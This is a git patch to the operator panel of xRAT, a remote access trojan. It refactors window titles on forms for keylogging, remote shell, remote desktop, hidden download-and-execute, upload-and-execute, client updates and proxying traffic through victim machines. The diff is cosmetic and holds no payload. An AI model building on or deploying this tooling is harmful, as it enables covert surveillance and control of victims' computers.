From a6ecbf55c16ff08749b0d68e8f26a311fc3d2dcb Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 25 Jun 2015 22:22:45 +0200 Subject: [PATCH] Improved setting of window titles of new forms --- Server/Core/Helper/Helper.cs | 11 ++++++++ Server/Forms/FrmAbout.cs | 2 +- Server/Forms/FrmAddToAutostart.Designer.cs | 2 +- Server/Forms/FrmBuilder.Designer.cs | 2 +- Server/Forms/FrmBuilder.cs | 1 - Server/Forms/FrmDownloadAndExecute.cs | 3 ++- Server/Forms/FrmFileManager.cs | 5 ++-- Server/Forms/FrmKeylogger.cs | 5 ++-- Server/Forms/FrmRemoteDesktop.cs | 8 +++--- Server/Forms/FrmRemoteShell.cs | 5 ++-- Server/Forms/FrmReverseProxy.cs | 27 ++++++++----------- Server/Forms/FrmSettings.Designer.cs | 2 +- Server/Forms/FrmSettings.cs | 1 - Server/Forms/FrmShowMessagebox.cs | 3 ++- Server/Forms/FrmStartupManager.cs | 7 +++-- Server/Forms/FrmStatistics.Designer.cs | 30 +++++++++++----------- Server/Forms/FrmSystemInformation.cs | 5 ++-- Server/Forms/FrmTaskManager.cs | 5 ++-- Server/Forms/FrmUpdate.cs | 3 ++- Server/Forms/FrmUploadAndExecute.cs | 3 ++- Server/Forms/FrmVisitWebsite.cs | 3 ++- 21 files changed, 67 insertions(+), 66 deletions(-) diff --git a/Server/Core/Helper/Helper.cs b/Server/Core/Helper/Helper.cs index 1d6b4e8f..21a824a7 100644 --- a/Server/Core/Helper/Helper.cs +++ b/Server/Core/Helper/Helper.cs @@ -2,6 +2,7 @@ using System.IO; using System.Linq; using System.Text; +using xServer.Core.Networking; namespace xServer.Core.Helper { @@ -47,6 +48,16 @@ namespace xServer.Core.Helper return string.Format("{0:0.##} {1}", len, _sizes[order]); } + public static string GetWindowTitle(string title, Client c) + { + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username , c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + } + + public static string GetWindowTitle(string title, int count) + { + return string.Format("{0} [Selected: {1}]", title, count); + } + public static int GetFileIcon(string extension) { if (string.IsNullOrEmpty(extension)) diff --git a/Server/Forms/FrmAbout.cs b/Server/Forms/FrmAbout.cs index 3f7b0e19..98970b0e 100644 --- a/Server/Forms/FrmAbout.cs +++ b/Server/Forms/FrmAbout.cs @@ -16,7 +16,7 @@ namespace xServer.Forms lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/MaxXor/xRAT" }); lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/MaxXor/xRAT#credits" }); } - + private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { lnkGithubPage.LinkVisited = true; diff --git a/Server/Forms/FrmAddToAutostart.Designer.cs b/Server/Forms/FrmAddToAutostart.Designer.cs index f5e794ab..5707eb84 100644 --- a/Server/Forms/FrmAddToAutostart.Designer.cs +++ b/Server/Forms/FrmAddToAutostart.Designer.cs @@ -152,7 +152,7 @@ this.MinimizeBox = false; this.Name = "FrmAddToAutostart"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "xRAT 2.0 - Add to Autostart"; + this.Text = "Add to Autostart"; this.groupAutostartItem.ResumeLayout(false); this.groupAutostartItem.PerformLayout(); this.ResumeLayout(false); diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index e82e8ab0..6f44e9a5 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -696,8 +696,8 @@ this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "FrmBuilder"; - this.Text = "xRAT 2.0 - Builder"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Builder"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); this.Load += new System.EventHandler(this.FrmBuilder_Load); this.groupConnection.ResumeLayout(false); diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index ba35e40c..5ecd57ce 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -1,6 +1,5 @@ using System; using System.IO; -using System.Linq; using System.Text.RegularExpressions; using System.Windows.Forms; using xServer.Core.Build; diff --git a/Server/Forms/FrmDownloadAndExecute.cs b/Server/Forms/FrmDownloadAndExecute.cs index b8123175..71d45648 100644 --- a/Server/Forms/FrmDownloadAndExecute.cs +++ b/Server/Forms/FrmDownloadAndExecute.cs @@ -1,5 +1,6 @@ using System; using System.Windows.Forms; +using xServer.Core.Helper; namespace xServer.Forms { @@ -24,7 +25,7 @@ namespace xServer.Forms private void FrmDownloadAndExecute_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Download & Execute [Selected: {0}]", _selectedClients); + this.Text = Helper.GetWindowTitle("Download & Execute", _selectedClients); txtURL.Text = Core.Misc.DownloadAndExecute.URL; chkRunHidden.Checked = Core.Misc.DownloadAndExecute.RunHidden; } diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 38840e22..91902377 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -1,10 +1,10 @@ using System; -using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Windows.Forms; using xServer.Core.Commands; +using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Networking; @@ -31,8 +31,7 @@ namespace xServer.Forms { if (_connectClient != null) { - this.Text = string.Format("xRAT 2.0 - File Manager [{0}:{1}]", - _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("File Manager", _connectClient); new Core.Packets.ServerPackets.Drives().Execute(_connectClient); } } diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 3207862b..e02d6768 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -1,7 +1,7 @@ using System; using System.IO; using System.Windows.Forms; -using xServer.Core; +using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Networking; @@ -28,8 +28,7 @@ namespace xServer.Forms { if (_connectClient != null) { - this.Text = string.Format("xRAT 2.0 - Keylogger [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), - _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("Keylogger", _connectClient); if (!Directory.Exists(_path)) { diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index c3aca427..6df002fc 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -1,9 +1,8 @@ using System; -using System.CodeDom; using System.Drawing; using System.Threading; using System.Windows.Forms; -using xServer.Core; +using xServer.Core.Helper; using xServer.Core.Networking; namespace xServer.Forms @@ -25,14 +24,13 @@ namespace xServer.Forms private void FrmRemoteDesktop_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Remote Desktop [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), - _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("Remote Desktop", _connectClient); panelTop.Left = (this.Width/2) - (panelTop.Width/2); btnHide.Left = (panelTop.Width/2) - (btnHide.Width/2); - btnShow.Location = new System.Drawing.Point(377, 0); + btnShow.Location = new Point(377, 0); btnShow.Left = (this.Width/2) - (btnShow.Width/2); if (_connectClient.Value != null) diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs index 59418530..5c1c6e5d 100644 --- a/Server/Forms/FrmRemoteShell.cs +++ b/Server/Forms/FrmRemoteShell.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; -using xServer.Core; using System.Drawing; +using xServer.Core.Helper; using xServer.Core.Networking; namespace xServer.Forms @@ -31,8 +31,7 @@ namespace xServer.Forms this.DoubleBuffered = true; if (_connectClient != null) - this.Text = string.Format("xRAT 2.0 - Remote Shell [{0}:{1}]", - _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("Remote Shell", _connectClient); } private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 7c983a2a..bbe70886 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -1,6 +1,5 @@ using System; using System.Windows.Forms; -using xServer.Core; using xServer.Core.ReverseProxy; using xServer.Core.Helper; using xServer.Core.Networking; @@ -11,7 +10,6 @@ namespace xServer.Forms { private readonly Client[] _clients; private ReverseProxyServer SocksServer { get; set; } - private delegate void Invoky(); private ReverseProxyClient[] _openConnections; private Timer _refreshTimer; @@ -28,15 +26,12 @@ namespace xServer.Forms { if (_clients.Length > 1) { - this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]"); - + this.Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]"; lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; - } else if (_clients.Length == 1) { - this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _clients[0].EndPoint.Address.ToString(), _clients[0].EndPoint.Port.ToString()); - + this.Text = Helper.GetWindowTitle("Reverse Proxy", _clients[0]); lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; } } @@ -131,18 +126,18 @@ namespace xServer.Forms { if (e.ItemIndex < _openConnections.Length) { - ReverseProxyClient Connection = _openConnections[e.ItemIndex]; + ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { - Connection.Client.EndPoint.ToString(), - Connection.Client.Value.Country, - Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""), - Connection.TargetPort.ToString(), - Helper.GetDataSize(Connection.LengthReceived), - Helper.GetDataSize(Connection.LengthSended), - Connection.Type.ToString() - }) { Tag = Connection }; + connection.Client.EndPoint.ToString(), + connection.Client.Value.Country, + connection.TargetServer + (connection.HostName.Length > 0 ? " (" + connection.HostName + ")" : ""), + connection.TargetPort.ToString(), + Helper.GetDataSize(connection.LengthReceived), + Helper.GetDataSize(connection.LengthSended), + connection.Type.ToString() + }) { Tag = connection }; } } } diff --git a/Server/Forms/FrmSettings.Designer.cs b/Server/Forms/FrmSettings.Designer.cs index 117b82c2..0e80b8a4 100644 --- a/Server/Forms/FrmSettings.Designer.cs +++ b/Server/Forms/FrmSettings.Designer.cs @@ -262,7 +262,7 @@ this.MinimizeBox = false; this.Name = "FrmSettings"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "xRAT 2.0 - Settings"; + this.Text = "Settings"; this.Load += new System.EventHandler(this.FrmSettings_Load); ((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit(); this.ResumeLayout(false); diff --git a/Server/Forms/FrmSettings.cs b/Server/Forms/FrmSettings.cs index e129a720..19cfc467 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Server/Forms/FrmSettings.cs @@ -1,7 +1,6 @@ using System; using System.Globalization; using System.Windows.Forms; -using xServer.Core; using xServer.Core.Misc; using xServer.Core.Networking; using xServer.Settings; diff --git a/Server/Forms/FrmShowMessagebox.cs b/Server/Forms/FrmShowMessagebox.cs index 67c96c24..d17f8dd7 100644 --- a/Server/Forms/FrmShowMessagebox.cs +++ b/Server/Forms/FrmShowMessagebox.cs @@ -1,5 +1,6 @@ using System; using System.Windows.Forms; +using xServer.Core.Helper; namespace xServer.Forms { @@ -16,7 +17,7 @@ namespace xServer.Forms private void FrmShowMessagebox_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Show Messagebox [Selected: {0}]", _selectedClients); + this.Text = Helper.GetWindowTitle("Show Messagebox", _selectedClients); cmbMsgButtons.Items.AddRange(new string[] {"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"}); diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index b147b8f4..06c80f08 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -1,7 +1,7 @@ using System; using System.Linq; using System.Windows.Forms; -using xServer.Core; +using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Networking; @@ -22,12 +22,11 @@ namespace xServer.Forms lstStartupItems.ListViewItemSorter = _lvwColumnSorter; } - private void FrmStartupManager_Load(object sender, System.EventArgs e) + private void FrmStartupManager_Load(object sender, EventArgs e) { if (_connectClient != null) { - this.Text = string.Format("xRAT 2.0 - Startup Manager [{0}:{1}]", - _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("Startup Manager", _connectClient); AddGroups(); new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); } diff --git a/Server/Forms/FrmStatistics.Designer.cs b/Server/Forms/FrmStatistics.Designer.cs index fa3f9e8c..2d2333ab 100644 --- a/Server/Forms/FrmStatistics.Designer.cs +++ b/Server/Forms/FrmStatistics.Designer.cs @@ -31,8 +31,8 @@ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStatistics)); this.tabControl = new System.Windows.Forms.TabControl(); this.tabTraffic = new System.Windows.Forms.TabPage(); - this.tabClients = new System.Windows.Forms.TabPage(); this.lblTrafficStats = new System.Windows.Forms.Label(); + this.tabClients = new System.Windows.Forms.TabPage(); this.lblClientStats = new System.Windows.Forms.Label(); this.tabControl.SuspendLayout(); this.tabTraffic.SuspendLayout(); @@ -56,12 +56,22 @@ this.tabTraffic.Location = new System.Drawing.Point(4, 22); this.tabTraffic.Name = "tabTraffic"; this.tabTraffic.Padding = new System.Windows.Forms.Padding(3); - this.tabTraffic.Size = new System.Drawing.Size(376, 253); + this.tabTraffic.Size = new System.Drawing.Size(470, 253); this.tabTraffic.TabIndex = 0; this.tabTraffic.Text = "Traffic Stats"; this.tabTraffic.UseVisualStyleBackColor = true; this.tabTraffic.Paint += new System.Windows.Forms.PaintEventHandler(this.tabTraffic_Paint); // + // lblTrafficStats + // + this.lblTrafficStats.AutoSize = true; + this.lblTrafficStats.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblTrafficStats.Location = new System.Drawing.Point(40, 13); + this.lblTrafficStats.Name = "lblTrafficStats"; + this.lblTrafficStats.Size = new System.Drawing.Size(118, 21); + this.lblTrafficStats.TabIndex = 0; + this.lblTrafficStats.Text = "Traffic Statistics"; + // // tabClients // this.tabClients.Controls.Add(this.lblClientStats); @@ -74,16 +84,6 @@ this.tabClients.UseVisualStyleBackColor = true; this.tabClients.Paint += new System.Windows.Forms.PaintEventHandler(this.tabClients_Paint); // - // lblTrafficStats - // - this.lblTrafficStats.AutoSize = true; - this.lblTrafficStats.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblTrafficStats.Location = new System.Drawing.Point(40, 13); - this.lblTrafficStats.Name = "lblTrafficStats"; - this.lblTrafficStats.Size = new System.Drawing.Size(118, 21); - this.lblTrafficStats.TabIndex = 0; - this.lblTrafficStats.Text = "Traffic Statistics"; - // // lblClientStats // this.lblClientStats.AutoSize = true; @@ -94,7 +94,7 @@ this.lblClientStats.TabIndex = 1; this.lblClientStats.Text = "Client Statistics"; // - // frmStatistics + // FrmStatistics // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -105,9 +105,9 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "frmStatistics"; + this.Name = "FrmStatistics"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "xRAT 2.0 - Statistics"; + this.Text = "Statistics"; this.Load += new System.EventHandler(this.FrmStatistics_Load); this.tabControl.ResumeLayout(false); this.tabTraffic.ResumeLayout(false); diff --git a/Server/Forms/FrmSystemInformation.cs b/Server/Forms/FrmSystemInformation.cs index 07eebb1d..a52aa2d7 100644 --- a/Server/Forms/FrmSystemInformation.cs +++ b/Server/Forms/FrmSystemInformation.cs @@ -1,8 +1,8 @@ using System; using System.Linq; using System.Windows.Forms; -using xServer.Core; using xServer.Core.Extensions; +using xServer.Core.Helper; using xServer.Core.Networking; namespace xServer.Forms @@ -23,8 +23,7 @@ namespace xServer.Forms { if (_connectClient != null) { - this.Text = string.Format("xRAT 2.0 - System Information [{0}:{1}]", - _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("System Information", _connectClient); new Core.Packets.ServerPackets.GetSystemInfo().Execute(_connectClient); if (_connectClient.Value != null) diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs index 8d0965b1..6a0a4bf2 100644 --- a/Server/Forms/FrmTaskManager.cs +++ b/Server/Forms/FrmTaskManager.cs @@ -1,6 +1,6 @@ using System; using System.Windows.Forms; -using xServer.Core; +using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Networking; @@ -26,8 +26,7 @@ namespace xServer.Forms { if (_connectClient != null) { - this.Text = string.Format("xRAT 2.0 - Task Manager [{0}:{1}]", - _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + this.Text = Helper.GetWindowTitle("Task Manager", _connectClient); new Core.Packets.ServerPackets.GetProcesses().Execute(_connectClient); } } diff --git a/Server/Forms/FrmUpdate.cs b/Server/Forms/FrmUpdate.cs index d96216ad..3425f169 100644 --- a/Server/Forms/FrmUpdate.cs +++ b/Server/Forms/FrmUpdate.cs @@ -1,6 +1,7 @@ using System; using System.IO; using System.Windows.Forms; +using xServer.Core.Helper; namespace xServer.Forms { @@ -16,7 +17,7 @@ namespace xServer.Forms private void FrmUpdate_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Update [Selected: {0}]", _selectedClients); + this.Text = Helper.GetWindowTitle("Update Clients", _selectedClients); if (Core.Misc.Update.UseDownload) radioURL.Checked = true; txtPath.Text = File.Exists(Core.Misc.Update.UploadPath) ? Core.Misc.Update.UploadPath : string.Empty; diff --git a/Server/Forms/FrmUploadAndExecute.cs b/Server/Forms/FrmUploadAndExecute.cs index f98dc6f9..e5a120a4 100644 --- a/Server/Forms/FrmUploadAndExecute.cs +++ b/Server/Forms/FrmUploadAndExecute.cs @@ -1,6 +1,7 @@ using System; using System.IO; using System.Windows.Forms; +using xServer.Core.Helper; namespace xServer.Forms { @@ -16,7 +17,7 @@ namespace xServer.Forms private void FrmUploadAndExecute_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Upload & Execute [Selected: {0}]", _selectedClients); + this.Text = Helper.GetWindowTitle("Upload & Execute", _selectedClients); chkRunHidden.Checked = Core.Misc.UploadAndExecute.RunHidden; } diff --git a/Server/Forms/FrmVisitWebsite.cs b/Server/Forms/FrmVisitWebsite.cs index 88767802..b81032c2 100644 --- a/Server/Forms/FrmVisitWebsite.cs +++ b/Server/Forms/FrmVisitWebsite.cs @@ -1,5 +1,6 @@ using System; using System.Windows.Forms; +using xServer.Core.Helper; namespace xServer.Forms { @@ -15,7 +16,7 @@ namespace xServer.Forms private void FrmVisitWebsite_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Visit Website [Selected: {0}]", _selectedClients); + this.Text = Helper.GetWindowTitle("Visit Website", _selectedClients); txtURL.Text = Core.Misc.VisitWebsite.URL; chkVisitHidden.Checked = Core.Misc.VisitWebsite.Hidden; }